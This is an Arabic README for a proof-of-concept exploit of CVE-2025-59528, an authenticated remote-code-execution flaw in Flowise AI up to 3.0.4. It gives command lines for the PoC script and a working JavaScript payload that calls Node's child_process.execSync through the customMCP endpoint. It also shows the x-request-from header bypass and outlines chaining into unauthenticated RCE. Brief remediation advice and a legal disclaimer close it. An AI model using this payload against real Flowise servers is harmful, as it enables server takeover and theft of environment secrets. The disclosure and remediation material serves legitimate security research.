
استغلال تنفيذ تعليمات برمجية عن بُعد (RCE) يتطلب مصادقة لإصدارات Flowise AI ≤ 3.0.4. يستغل ثغرة في نقطة النهاية /api/v1/node-load-method/customMCP لتنفيذ أوامر نظام تعسفية عبر Node.js child_process.execSync(). يتضمن سكريبت PoC كاملًا وخطوات الإصلاح.
معرف CVE: CVE-2025-59528
البرنامج المتأثر: Flowise AI
الإصدارات المعرضة للخطر: <= 3.0.4
الإصدار المُصحح: 3.0.5 وما بعده
الخطورة: حرجة
المؤلف: r3nsi15
التاريخ: 2025
تسمح إصدارات Flowise AI حتى الإصدار 3.0.4 شاملة للمستخدم المُصادق عليه بتحقيق تنفيذ التعليمات البرمجية عن بُعد (RCE) على الخادم المضيف عن طريق إرسال حمولة JavaScript مصممة بعناية إلى نقطة النهاية /api/v1/node-load-method/customMCP.
تقبل طريقة التحميل الخاصة بعقدة customMCP مدخلات يتحكم فيها المستخدم يتم تقييمها من جهة الخادم ككود JavaScript، دون تعقيم أو عزل مناسب. من خلال حقن حمولة تستغل child_process.execSync الخاص بـ Node.js، يمكن للمهاجم تنفيذ أوامر نظام تشغيل تعسفية بصلاحيات عملية خادم Flowise.
تتطلب نقطة النهاية أيضًا وجود ترويسة x-request-from: internal.
| نقطة النهاية | الطريقة | المصادقة مطلوبة | الغرض |
|---|---|---|---|
/api/v1/auth/login | POST | لا | المصادقة والحصول على الجلسة |
/api/v1/node-load-method/customMCP | POST | نعم (كوكي الجلسة) | نقطة نهاية طريقة التحميل المعرضة للخطر |
الملف: CVE-2025-59528_POC.py
requestspip install requests
python3 CVE-2025-59528_POC.py -e <email> -i <target_url> -p <password> -c <command>
| العلامة | الصيغة الطويلة | مطلوب | الوصف |
|---|---|---|---|
-e | --email | نعم | عنوان البريد الإلكتروني للمستخدم المُصادق عليه |
-i | --url | نعم | عنوان URL الأساسي لمثيل Flowise |
-p | --password | نعم | كلمة مرور المستخدم المُصادق عليه |
-c | --cmd | نعم | أمر نظام التشغيل المراد تنفيذه على الخادم |
التحقق من تنفيذ التعليمات البرمجية:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"
استرجاع متغيرات بيئة الخادم:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"
[+] Logged in
[+] Exploit sent
[+] Status: 200
يحقن الاستغلال تعبير JavaScript التالي في حقل mcpServerConfig:
({x:(function(){
const cp = process.mainModule.require('child_process');
cp.execSync('<command>');
return 1;
})()})
process.mainModule.require('child_process') — يحمّل وحدة تنفيذ العمليات المدمجة في Node.js.execSync('<command>') — ينفذ أمر نظام التشغيل المقدَّم من المهاجم بشكل متزامن.كما تُضاف ترويسة x-request-from: internal إلى الطلب لتجاوز فحص الأصل الداخلي الذي قد يعترض الطلب بخلاف ذلك.
تمرر نقطة النهاية customMCP المدخلات المقدَّمة من المستخدم مباشرة إلى سياق تقييم JavaScript على الخادم دون تعقيم أو عزل. وبالاقتران مع الوصول غير المقيد إلى وحدات Node.js الأساسية (وتحديدًا child_process) عبر process.mainModule.require، يخلق هذا ثغرة RCE سهلة الاستغلال للغاية. لا يوفر فحص ترويسة x-request-from أي حدود أمنية ذات معنى لأنه لا يتم التحقق منه مقابل أي مصدر موثوق.
يمكن ربط هاتين الثغرتين لإنشاء مسار هجوم RCE غير مُصادق عليه ضد مثيلات Flowise التي تعمل بإصدارات <= 3.0.4:
child_process, fs, وغيرها) عبر عزل مناسب (مثل vm2 أو سياقات معزولة أو إزالة الوصول إلى process.mainModule).x-request-from وصادق عليها عبر آلية من جهة الخادم بدلاً من فحص سلسلة بسيط.تم توفير إثبات المفهوم هذا لأغراض البحث الأمني التعليمي والمصرح به فقط. استخدام هذا البرنامج النصي ضد أنظمة دون إذن كتابي صريح يعد غير قانوني وغير أخلاقي. لا يتحمل المؤلف والمساهمون أي مسؤولية عن سوء الاستخدام.